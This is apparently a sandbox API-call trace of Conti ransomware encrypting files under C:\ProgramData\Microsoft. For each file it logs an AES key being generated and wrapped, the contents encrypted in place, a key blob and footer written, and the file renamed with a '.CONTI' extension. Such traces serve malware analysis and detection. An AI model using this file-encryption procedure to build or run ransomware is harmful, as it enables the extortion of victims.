	[0105.706] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0105.706] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0105.706] GetProcessHeap () returned 0x1720000
	[0105.706] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bed60 | out: hHeap=0x1720000) returned 1
	[0105.707] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0105.736] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c7e70) returned 1
	[0105.736] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x36ffea4 | out: pbData=0x17d5434*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0105.739] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk")) returned 0x20
	[0105.739] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.739] GetLastError () returned 0x0
	[0105.739] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=8192) returned 1
	[0105.739] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0105.739] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.739] SetEndOfFile (hFile=0x38c) returned 1
	[0105.740] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.740] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.740] WriteFile (in: hFile=0x38c, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0105.741] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.741] ReadFile (in: hFile=0x38c, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2000, lpOverlapped=0x0) returned 1
	[0105.741] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2000, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2010) returned 1
	[0105.741] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.741] WriteFile (in: hFile=0x38c, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2010, lpOverlapped=0x0) returned 1
	[0105.741] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.741] WriteFile (in: hFile=0x38c, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0105.741] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.741] CloseHandle (hObject=0x38c) returned 1
	[0105.741] GetProcessHeap () returned 0x1720000
	[0105.741] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0105.741] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk"
	[0105.742] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.CONTI") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.CONTI"
	[0105.742] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.chk.CONTI" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.chk.conti")) returned 1
	[0105.742] GetProcessHeap () returned 0x1720000
	[0105.742] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0105.742] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0105.742] GetProcessHeap () returned 0x1720000
	[0105.742] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741290 | out: hHeap=0x1720000) returned 1
	[0105.742] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0106.368] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c8030) returned 1
	[0106.368] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x36ffea4 | out: pbData=0x17d3fac*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0106.369] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml")) returned 0x20
	[0106.559] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0106.569] GetLastError () returned 0x5
	[0106.573] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0106.574] GetProcessHeap () returned 0x1720000
	[0106.574] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17405c8 | out: hHeap=0x1720000) returned 1
	[0106.576] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0107.392] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x17c8530) returned 1
	[0107.392] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x36ffea4 | out: pbData=0x17c4354*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0107.396] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml")) returned 0x20
	[0107.396] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.396] GetLastError () returned 0x0
	[0107.396] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=2247) returned 1
	[0107.396] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8c7
	[0107.396] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.396] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.396] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.397] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.397] WriteFile (in: hFile=0x3b0, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.398] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.398] ReadFile (in: hFile=0x3b0, lpBuffer=0x12130000, nNumberOfBytesToRead=0x8c7, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x8c7, lpOverlapped=0x0) returned 1
	[0107.398] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x8c7, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x8d0) returned 1
	[0107.398] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.398] WriteFile (in: hFile=0x3b0, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x8d0, lpOverlapped=0x0) returned 1
	[0107.399] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.399] WriteFile (in: hFile=0x3b0, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0107.399] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.399] CloseHandle (hObject=0x3b0) returned 1
	[0107.399] GetProcessHeap () returned 0x1720000
	[0107.399] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.399] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"
	[0107.399] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.CONTI"
	[0107.400] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml.conti")) returned 1
	[0107.400] GetProcessHeap () returned 0x1720000
	[0107.400] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.400] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0107.400] GetProcessHeap () returned 0x1720000
	[0107.400] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65110e0 | out: hHeap=0x1720000) returned 1
	[0107.400] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0108.041] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x6515510 | out: phKey=0x6515510*=0x17c8330) returned 1
	[0108.041] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515514, pdwDataLen=0x36ffea4 | out: pbData=0x6515514*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0108.045] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0108.045] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.045] GetLastError () returned 0x0
	[0108.045] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=452) returned 1
	[0108.045] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c4
	[0108.045] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.045] SetEndOfFile (hFile=0x384) returned 1
	[0108.046] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.046] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.046] WriteFile (in: hFile=0x384, lpBuffer=0x6515514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x6515514*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.048] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.048] ReadFile (in: hFile=0x384, lpBuffer=0x12130000, nNumberOfBytesToRead=0x1c4, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x1c4, lpOverlapped=0x0) returned 1
	[0108.048] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1c4, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1d0) returned 1
	[0108.048] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.048] WriteFile (in: hFile=0x384, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x1d0, lpOverlapped=0x0) returned 1
	[0108.048] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.048] WriteFile (in: hFile=0x384, lpBuffer=0x6515508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x6515508*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0108.049] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.050] CloseHandle (hObject=0x384) returned 1
	[0108.050] GetProcessHeap () returned 0x1720000
	[0108.050] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.050] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.051] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0108.051] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\128__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\128__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0108.051] GetProcessHeap () returned 0x1720000
	[0108.051] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.051] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.051] GetProcessHeap () returned 0x1720000
	[0108.051] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bc3e0 | out: hHeap=0x1720000) returned 1
	[0108.051] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0108.384] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c7870) returned 1
	[0108.634] CryptExportKey (in: hKey=0x17c7870, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x36ffea4 | out: pbData=0x17d41f4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0108.635] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0109.020] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\192__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0109.021] GetLastError () returned 0x0
	[0109.021] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=480) returned 1
	[0109.021] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0109.021] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.021] SetEndOfFile (hFile=0x398) returned 1
	[0110.447] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.447] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.447] WriteFile (in: hFile=0x398, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.460] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.460] ReadFile (in: hFile=0x398, lpBuffer=0x12130000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x1e0, lpOverlapped=0x0) returned 1
	[0110.460] CryptEncrypt (in: hKey=0x17c7870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1e0, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1f0) returned 1
	[0110.460] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.460] WriteFile (in: hFile=0x398, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x1f0, lpOverlapped=0x0) returned 1
	[0110.460] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.460] WriteFile (in: hFile=0x398, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0110.460] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.460] CloseHandle (hObject=0x398) returned 1
	[0110.460] GetProcessHeap () returned 0x1720000
	[0110.460] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.944] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0110.944] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
